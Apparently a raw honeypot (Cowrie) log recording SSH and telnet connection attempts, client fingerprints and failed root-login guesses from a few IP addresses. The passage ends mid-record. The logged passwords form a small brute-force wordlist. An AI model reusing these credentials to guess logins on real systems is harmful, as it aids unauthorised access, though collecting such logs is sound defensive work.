{"eventid":"cowrie.session.connect","src_ip":"115.241.83.2","src_port":36738,"dst_ip":"10.17.0.5","dst_port":22,"session":"ac5c049aaae4","protocol":"ssh","message":"New connection: 115.241.83.2:36738 (10.17.0.5:22) [session: ac5c049aaae4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:04:57.158789Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:04:57.167628Z","src_ip":"115.241.83.2","session":"ac5c049aaae4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:04:57.398431Z","src_ip":"115.241.83.2","session":"ac5c049aaae4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qazXSW@1qaz","message":"login attempt [root/1qazXSW@1qaz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:04:58.349182Z","src_ip":"115.241.83.2","session":"ac5c049aaae4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:04:59.581756Z","src_ip":"115.241.83.2","session":"ac5c049aaae4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.01167917251587,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:05:39.760484Z","src_ip":"157.66.118.168","session":"26b7b20f0c60","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.66.118.168","src_port":35228,"dst_ip":"159.203.135.109","dst_port":23,"session":"85fc9e9c23e3","protocol":"telnet","message":"New connection: 157.66.118.168:35228 (159.203.135.109:23) [session: 85fc9e9c23e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:05:40.304796Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.109.97.114","src_port":37542,"dst_ip":"10.17.0.5","dst_port":23,"session":"d614b2b62ab6","protocol":"telnet","message":"New connection: 149.109.97.114:37542 (10.17.0.5:23) [session: d614b2b62ab6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:05:49.404839Z"}
{"eventid":"cowrie.session.connect","src_ip":"115.241.83.2","src_port":52162,"dst_ip":"10.17.0.5","dst_port":22,"session":"b4658a7ae9dc","protocol":"ssh","message":"New connection: 115.241.83.2:52162 (10.17.0.5:22) [session: b4658a7ae9dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:05:55.241353Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:05:55.246953Z","src_ip":"115.241.83.2","session":"b4658a7ae9dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:05:55.489405Z","src_ip":"115.241.83.2","session":"b4658a7ae9dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"QWEasd123!@#","message":"login attempt [root/QWEasd123!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:05:56.492316Z","src_ip":"115.241.83.2","session":"b4658a7ae9dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:05:57.737721Z","src_ip":"115.241.83.2","session":"b4658a7ae9dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.37406587600708,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:06:02.778797Z","src_ip":"149.109.97.114","session":"d614b2b62ab6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"115.241.83.2","src_port":58322,"dst_ip":"10.17.0.5","dst_port":22,"session":"51cf5e08fab6","protocol":"ssh","message":"New connection: 115.241.83.2:58322 (10.17.0.5:22) [session: 51cf5e08fab6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:06:56.650811Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:06:56.656050Z","src_ip":"115.241.83.2","session":"51cf5e08fab6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:06:56.896228Z","src_ip":"115.241.83.2","session":"51cf5e08fab6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abcd123456@","message":"login attempt [root/Abcd123456@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:06:57.881804Z","src_ip":"115.241.83.2","session":"51cf5e08fab6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:06:59.124503Z","src_ip":"115.241.83.2","session":"51cf5e08fab6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.01215195655823,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:07:40.316832Z","src_ip":"157.66.118.168","session":"85fc9e9c23e3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.66.118.168","src_port":43330,"dst_ip":"159.203.135.109","dst_port":23,"session":"d4e25eff3e86","protocol":"telnet","message":"New connection: 157.66.118.168:43330 (159.203.135.109:23) [session: d4e25eff3e86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:07:40.843485Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.244.206.148","src_port":46110,"dst_ip":"10.17.0.5","dst_port":22,"session":"3c4582056c0f","protocol":"ssh","message":"New connection: 152.244.206.148:46110 (10.17.0.5:22) [session: 3c4582056c0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:07:49.165908Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:07:49.170590Z","src_ip":"152.244.206.148","session":"3c4582056c0f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:07:49.312078Z","src_ip":"152.244.206.148","session":"3c4582056c0f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123ASDasd123","message":"login attempt [root/123ASDasd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:07:49.909851Z","src_ip":"152.244.206.148","session":"3c4582056c0f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:07:51.054036Z","src_ip":"152.244.206.148","session":"3c4582056c0f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"115.241.83.2","src_port":39924,"dst_ip":"10.17.0.5","dst_port":22,"session":"05591a48304b","protocol":"ssh","message":"New connection: 115.241.83.2:39924 (10.17.0.5:22) [session: 05591a48304b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:07:58.059891Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:07:58.065039Z","src_ip":"115.241.83.2","session":"05591a48304b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:07:58.291213Z","src_ip":"115.241.83.2","session":"05591a48304b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwer123456","message":"login attempt [root/Qwer123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:07:59.225499Z","src_ip":"115.241.83.2","session":"05591a48304b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:08:00.454127Z","src_ip":"115.241.83.2","session":"05591a48304b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"115.241.83.2","src_port":48488,"dst_ip":"10.17.0.5","dst_port":22,"session":"d3c77fee52d9","protocol":"ssh","message":"New connection: 115.241.83.2:48488 (10.17.0.5:22) [session: d3c77fee52d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:08:59.124224Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:08:59.128973Z","src_ip":"115.241.83.2","session":"d3c77fee52d9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:08:59.365691Z","src_ip":"115.241.83.2","session":"d3c77fee52d9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deployer","password":"root","message":"login attempt [deployer/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:09:00.345061Z","src_ip":"115.241.83.2","session":"d3c77fee52d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:09:01.584981Z","src_ip":"115.241.83.2","session":"d3c77fee52d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00337219238281,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:09:40.846759Z","src_ip":"157.66.118.168","session":"d4e25eff3e86","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.66.118.168","src_port":55306,"dst_ip":"159.203.135.109","dst_port":23,"session":"0a0e14c842c6","protocol":"telnet","message":"New connection: 157.66.118.168:55306 (159.203.135.109:23) [session: 0a0e14c842c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:09:41.388016Z"}
{"eventid":"cowrie.session.connect","src_ip":"115.241.83.2","src_port":56810,"dst_ip":"10.17.0.5","dst_port":22,"session":"eacd2fef5c47","protocol":"ssh","message":"New connection: 115.241.83.2:56810 (10.17.0.5:22) [session: eacd2fef5c47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:09:59.542431Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:09:59.547216Z","src_ip":"115.241.83.2","session":"eacd2fef5c47","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:09:59.785794Z","src_ip":"115.241.83.2","session":"eacd2fef5c47","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"System@1234","message":"login attempt [root/System@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:10:00.776610Z","src_ip":"115.241.83.2","session":"eacd2fef5c47","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:10:02.031703Z","src_ip":"115.241.83.2","session":"eacd2fef5c47","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.244.206.148","src_port":39304,"dst_ip":"10.17.0.5","dst_port":22,"session":"43e3d94e76fc","protocol":"ssh","message":"New connection: 152.244.206.148:39304 (10.17.0.5:22) [session: 43e3d94e76fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:11:29.768726Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:11:29.773536Z","src_ip":"152.244.206.148","session":"43e3d94e76fc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm